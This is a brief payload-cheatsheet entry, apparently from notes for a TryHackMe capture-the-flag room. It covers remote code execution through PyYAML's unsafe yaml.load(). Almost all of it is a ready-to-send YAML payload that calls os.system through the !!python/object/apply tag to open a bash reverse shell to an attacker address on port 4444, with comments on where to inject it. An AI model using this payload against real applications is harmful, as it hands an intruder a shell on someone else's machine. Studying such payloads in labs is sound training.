PyYAML Deserialization RCE
When an app calls yaml.load() on attacker input, the object/apply constructor executes arbitrary code — here a straight reverse shell.
# Send as the YAML value the app parses with an unsafe yaml.load().
# !!python/object/apply calls os.system with your argument on load.
playlist: !!python/object/apply:os.system ["bash -c 'bash -i >& /dev/tcp/<attacker-ip>/4444 0>&1'"]used in: TryHackMe Resort write-up